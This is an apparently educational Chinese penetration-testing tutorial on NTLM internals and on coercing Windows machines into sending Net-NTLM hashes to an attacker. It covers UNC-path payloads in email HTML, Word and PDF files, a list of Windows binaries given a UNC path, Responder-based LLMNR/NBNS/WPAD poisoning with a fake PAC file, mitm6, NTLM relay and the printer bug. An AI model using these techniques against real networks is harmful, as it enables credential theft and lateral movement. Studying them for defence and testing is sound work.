网络安全-内网渗透2

一、MIC

将我们上次未描述完的MIC在这里详细解释一下

咱们所抓的第二个包会给返回一个服务端的challenge

之后服务器回包的第三个包会回复一个client challenge

所以咱们客户端和服务端现在分别有两个challenge，相当于客户端和服务端互相交换了一下challenge

因此

对于MIC，有如下计算公式：

MIC = HMAC_MD5(exportedSessionKey, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)

相当于第一个请求type1，和第二个请求type2，第三个请求type3，用了一个客户端生成的随机数，之后通过MD5进行了加密

那篡改就面临两个问题第一个不知道随机数，包括password是hash值

随机数生成方式：

对于攻击者，由于没有用户hash，也就没办法生成key_exchange_key，虽然在流量里面能够拿到encrypted_random_session_key，但是没有key_exchange_key，也就没办法运算出exported_session_key，也就没法对流量进行加解密。从而进行Relay。

而对于NTLMv2 Hash和NTProofStr，有如下计算公式。

· NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)

· NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)

如图所示，可以看到在NTLMv2 Response响应消息下的MIC字段。

我们的Response=NTProofStr+blob，所以我们用Response减掉NTProofStr就是我们的blob

DomainName：没有的话一般是本机的名字

最终它拼接的时候：

其中各部分含义如下：

· username（要访问服务器的用户名）：administrator

· domain（域信息）：WIN7

· challenge（数据包6中服务器返回的challenge值[service challenge]）：f9e7d1fe37e7ae12

· HMAC-MD5（数据包7中的NTProofStr）: 202beed8c64468318318bad6e8ae8326

· blob（blob对应数据为数据包7中NTLMv2 Response去掉NTProofStr的后半部分）：010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000

所以最后Net-NTLM v2 Hash值为如下：

administrator::WIN7:f9e7d1fe37e7ae12:202beed8c64468318318bad6e8ae8326:010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000

所以最终我们可以实现我们的目的

从下面两个公式我们可以计算出NTLMv2 Hash、NTProofStr以及Reseonse。

NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)
NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)

最终拿到HTLM Hash

我们拿到用户的hash实则是可以横向的

二、工具介绍

2.1hashcat

我们是有一款工具hashcat专门破解net-HTLMv2-Hash

MD5的值不是破解出来的，是对明文对出来的

md5在线解密破解,md5解密加密 (cmd5.com)

但是对于破解net-HTLMv2-Hash概率很小

2.2Responder

这款工具在kill里面是自带的，它可以用来监听你的网卡

三、发起NTLM请求（获取Net-hash）

3.1desktop.ini

3.1.1开始前的准备，把隐藏勾选掉，显示文件夹

3.1.2创建一个新的文件，进入目录下如果没有生成隐藏文件ini，如下图，给换个图标

3.1.3修改图标文件下的Resource，让其每次访问的时候都指向我们的服务器

3.1.4我们监听一下网卡

修改如下

当用户访问该文件夹的时候会去访问UNC路径,我们就能获取用户的net-ntlm hash

但是经过我测试在win10下行不通，原作者在win7下我看是可以的

3.2scf文件

这个我测试了在win10下是不行的

3.3用户图像

适用于Windows 10/2016/2019

在更改账户图片处。

用普通用户的权限指定一个webadv地址的图片，如果普通用户验证图片通过，那么SYSTEM用户(域内是机器用户)也去访问172.16.100.180，并且携带凭据，我们就可以拿到机器用户的net-ntlm hash

但是经过测试，现如今这种方法已经不适用了

3.4系统命令携带UNC路径

> net.exe use \hostshare 
> attrib.exe \hostshare  
> bcdboot.exe \hostshare  
> bdeunlock.exe \hostshare  
> cacls.exe \hostshare  
> certreq.exe \hostshare #(noisy, pops an error dialog) 
> certutil.exe \hostshare  
> cipher.exe \hostshare  
> ClipUp.exe -l \hostshare  
> cmdl32.exe \hostshare  
> cmstp.exe /s \hostshare  
> colorcpl.exe \hostshare #(noisy, pops an error dialog)  
> comp.exe /N=0 \hostshare \hostshare  
> compact.exe \hostshare  
> control.exe \hostshare  
> convertvhd.exe -source \hostshare -destination \hostshare  
> Defrag.exe \hostshare  
> diskperf.exe \hostshare  
> dispdiag.exe -out \hostshare  
> doskey.exe /MACROFILE=\hostshare  
> esentutl.exe /k \hostshare  
> expand.exe \hostshare  
> extrac32.exe \hostshare  
> FileHistory.exe \hostshare #(noisy, pops a gui)  
> findstr.exe * \hostshare  
> fontview.exe \hostshare #(noisy, pops an error dialog)  
> fvenotify.exe \hostshare #(noisy, pops an access denied error)  
> FXSCOVER.exe \hostshare #(noisy, pops GUI)  
> hwrcomp.exe -check \hostshare  
> hwrreg.exe \hostshare  
> icacls.exe \hostshare   
> licensingdiag.exe -cab \hostshare  
> lodctr.exe \hostshare  
> lpksetup.exe /p \hostshare /s  
> makecab.exe \hostshare  
> msiexec.exe /update \hostshare /quiet  
> msinfo32.exe \hostshare #(noisy, pops a "cannot open" dialog)  
> mspaint.exe \hostshare #(noisy, invalid path to png error)  
> msra.exe /openfile \hostshare #(noisy, error)  
> mstsc.exe \hostshare #(noisy, error)  
> netcfg.exe -l \hostshare -c p -i foo

很明显这种方法是可行的

而我们光拿到这个是没有用的，接下来我们需要用密码字典去破解，但是八成是不行的，因为很难匹配上

那现在拿到这个值没用？

但是实际上作用很大，后面会说咱们先了解如何获取net-ntlm hash

3.4xss构造（做个钓鱼网站让其访问）

我们来用小皮快速构造验证一下

这种情况适用于IE和edge，其他浏览器不允许从http域跨到file域，以edge为例，修改相应设置之后

直接成功

3.5邮件

发送邮件是支持html的，而且outlook里面的图片加载路径又可以是UNC。于是我们构造payload

复制

<img src="\\172.16.100.1\outlook">

当收件人打开邮箱的时候

我们就拿到net html hash了

3.6PDF

PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能，请求远程SMB服务器的文件。我们直接使用三好学生的脚本GitHub - 3gstudent/Worse-PDF: Turn a normal PDF file into malicious.Use to steal Net-NTLM Hashes from windows machines.

我们就收到net-ntlm hash

注：只能使用 Adobe

3.7office

首先新建一个word，贴进去一张图片

3.8添加图片

然后用7zip 打开（别用wps会失效）

进入word\_rels，修改document.xml.rels

可以看到Target参数本来是本地的路径

修改为UNC路径，然后加上TargetMode="External"

当打开word的时候,我们就拿到net-ntlm hash

3.9mysql

现在的环境测试不太行

我去win7上尝试

需要具备load_file权限，且没有secure_file_priv的限制(5.5.53默认是空，之后的话默认为NULL就不好利用了,不排除一些管理员会改)

仔细观察我们会发现LOAD_FILE是支持UNC路径

成功

利用场景太苛刻

四、来看两个协议

4.2NBNS和LLMNR

来抓包

dns先查缓存，缓存查不到差host文件，host文件查不到走到路由器内置dns查根域的13台，13台以后看你请求的com还是cn等等顶级域，假如com顶级域让你查百度，找到百度dns，之后把服务器ip返回给咱，然后路由器返回给它，这是可以收到的流程，假如绑定的域名收不到，我们所说所有解析不成功的情况下，会发给路由器，路由器会广播，如果找到返回，如果没找到就是没找到了

之后还会继续广播，可以看到图片上172.16.100.1有回应（而这个是我的监听）

假设一个场景吧

接下来windows会找，虽然没有找不到但是nbns协议已经开始寻找了

windows 解析域名的顺序是

Hosts
DNS (cache / server)
LLMNR
NBNS

但是不管怎么解析都是通过广播来找的，是不是有点类似网络中的ARP欺骗

因为多了一个请求，我们多加一个参数

浏览器请求，自然抓到

4.3WPAD和mitm6（2016年以后微软出了补丁已解决）

wpad 全称是Web Proxy Auto-Discovery Protocol ，通过让浏览器自动发现代理服务器，定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat)，下载编译并运行，最终自动使用代理访问网络。

现在默认是关闭的，我们只是为了测试

内部流程是

用户在访问网页时，首先会查询PAC文件的位置，然后获取PAC文件，将PAC文件作为代理配置文件。

查询PAC文件的顺序如下：

通过DHCP服务器
查询WPAD主机的IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
这个地方就涉及到两种攻击方式

4.3.1. 配合LLMNR/NBNS投毒

这是最早的攻击方式。用户在访问网页时，首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话，那么DNS解析失败的话，就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。Responder可以很方便得实现。

受害者通过llmnr询问wpad主机在哪里，Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

受害者访问WPAD/wpad.dat，Responder就能获取到用户的net-ntlm hash(这个Responder默认不开，因为害怕会有登录提醒，不利于后面的中间人攻击，可以加上-F 开启)

然后Responder通过伪造如下pac文件将代理指向 ISAProxySrv:3141。

复制

function FindProxyForURL(url, host){
  if ((host == "localhost") 
      || shExpMatch(host, "localhost.*") 
      ||(host == "127.0.0.1") 
      || isPlainHostName(host)) return "DIRECT"; 
  if (dnsDomainIs(host, "RespProxySrv")
      ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
                return "DIRECT"; 
  return 'PROXY ISAProxySrv:3141; DIRECT';}

受害者会使用ISAProxySrv:3141作为代理，但是受害者不知道ISAProxySrv对应的ip是什么，所以会再次查询，Responder再次通过llmnr投毒进行欺骗。将ISAProxySrv指向Responder本身。然后开始中间人攻击。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等，Responder都支持。这里就不详细展开了

然而，微软在2016年发布了MS16-077安全公告，添加了两个重要的保护措施，以缓解这类攻击行为：

1、系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

4.3.2. 配合DHCPv6

dirkjanm/mitm6: pwning IPv4 via IPv6 (github.com)

前面说过，针对在查询WPAD的时候进行投毒欺骗这种攻击方式，微软添加了两个重要的保护措施

1、系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP或DNS协议完成该任务。

2、更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。

第二个保护措施比较好绕过，我们先来绕过这个。更改了PAC文件下载的默认行为，以便当WinHTTP请求PAC文件时，不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。这个其实比较好解决，在访问pac文件的时候，我们没办法获取到用户的net-ntlm hash。其实默认responder就不想在这一步获取net-ntlm hash，他默认不开启，要手动加-F选项才能开启。我们可以给用户返回一个正常的wpad。将代理指向我们自己，然后我们作为中间人。这个时候可以做的事就很多了。比如插入xss payload获取net-ntlm hash，中间人获取post，cookie等参数，通过basic认证进行钓鱼，诱导下载exe等等。这个可以回去上一小节配合LLMNR/NBNS投毒看看。

在网上也有一种比较巧妙的绕过姿势。我们可以给用户返回一个正常的wpad。将代理指向我们自己，当受害主机连接到我们的“代理”服务器时，我们可以通过HTTP CONNECT动作、或者GET请求所对应的完整URI路径来识别这个过程，然后回复HTTP 407错误（需要代理身份验证），这与401不同，IE/Edge以及Chrome浏览器（使用的是IE设置）会自动与代理服务器进行身份认证，即使在最新版本的Windows系统上也是如此。在Firefox中，用户可以配置这个选项，该选项默认处于启用状态。

所以我们接下来的任务是要来绕过第一个保护措施

   系统再也无法通过广播协议来解析WPAD文件的位置，只能通过使用DHCP选项或DNS协议完成该任务。

这个就保证了llmnr投毒和nbns投毒不能用了。我们来回顾下用户获取pac文件的一般流程。

通过DHCP服务器
查询WPAD主机的IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
在MS16-077之后，通过DHCP和DNS协议还可以获取到pac文件。

DHCP和DNS都有指定的服务器，不是通过广播包，而且dhcp服务器和dns服务器我们是不可控的，没法进行投毒。

幸运的是安全研究人员并不将目光局限在ipv4，从Windows Vista以来，所有的Windows系统（包括服务器版系统）都会启用IPv6网络，并且其优先级要高于IPv4网络。这里我们要用到DHCPV6协议。

DHCPv6协议中，客户端通过向组播地址发送Solicit报文来定位DHCPv6服务器，组播地址[ff02::1:2]包括整个地址链路范围内的所有DHCPv6服务器和中继代理。DHCPv6四步交互过程，客户端向[ff02::1:2]组播地址发送一个Solicit请求报文，DHCP服务器或中继代理回应Advertise消息告知客户端。客户端选择优先级最高的服务器并发送Request信息请求分配地址或其他配置信息，最后服务器回复包含确认地址，委托前缀和配置（如可用的DNS或NTP服务器）的Relay消息。通俗点来说就是，在可以使用ipv6的情况(Windows Vista以后默认开启),攻击者能接收到其他机器的dhcpv6组播包的情况下，攻击者最后可以让受害者的DNS设置为攻击者的IPv6地址。

Fox-IT公布了名为mitm6的一个工具，可以实施这种攻击。

mitm6首先侦听攻击者计算机的某个网卡上的DHCPV6流量。

当目标计算机重启或重新进行网络配置（如重新插入网线）时，将会向DHCPv6发送请求获取IPv6配置

这个时候mitm6将回复这些DHCPv6请求，并在链接本地范围内为受害者分配一个IPv6地址。尽管在实际的IPv6网络中，这些地址是由主机自己自动分配的，不需要由DHCP服务器配置，但这使我们有机会将攻击者IP设置为受害者的默认IPv6 DNS服务器。应当注意，mitm6当前仅针对基于Windows的操作系统，因为其他操作系统（如macOS和Linux）不使用DHCPv6进行DNS服务器分配。

这个时候受害者的dns 服务器的地址已经设置为攻击者的IPv6地址。一旦受害机器将攻击者设置为IPv6 DNS服务器，它将立即开始查询网络的WPAD配置。由于这些DNS查询是发送给攻击者的，因此攻击者仅可以使用自己的IP地址作为WPAD对应的IP地址。

至此MS16-077的两个保护措施都能绕过，再遇到MS16-077之后的机子不妨试试这种方法。

Inveigh结合DNS v6配合NTLM Relay 攻击链的利用-腾讯云开发者社区-腾讯云 (tencent.com)

测试：安装win7，安装python2（因为现在默认都是python3），安装lnveigh

开始监听

投毒成功

对方打开浏览器直接成功

4.3.3realy（中间人攻击）

在Net-NTLM Hash的破解里面，如果是v1的话，拿到Net-NTLM就相当于拿NTLM HASH.这个时候就没有Relay的必要性了，但是在实际中遇到的例子往往不会是v1，而是v2。这个时候密码强度高一点，基本就跑不出来了，这种情况底下，不妨试一试Relay。

接下来我们拿到ntml hash后就需要进行一个中间人的realy，搭配ntmlrealyx

具体可以看这篇文章

http://wpad/wpad.apt

图片解释：

NTLM Relay - cAr7n - 博客园 (cnblogs.com)

类似于arp欺骗

开始模拟：

kill

win-10开始毒化

win-7重启，用域控登录

错误原因：端口占用

执行成功：

4.3.4打印机漏洞

Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信，默认情况下是启用的。协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个远程更改通知对象，该对象监视对打印机对象的更改，并将更改通知发送到打印客户端。

任何经过身份验证的域成员都可以连接到远程服务器的打印服务（spoolsv.exe），并请求对一个新的打印作业进行更新，令其将该通知发送给指定目标。之后它会将立即测试该连接，即向指定目标进行身份验证（攻击者可以选择通过Kerberos或NTLM进行验证）。另外微软表示这个bug是系统设计特点，无需修复。

如下图，使用printerbug.py对172.16.100.5发起请求，172.16.100.5就会向172.16.100.1发起ntlm 请求。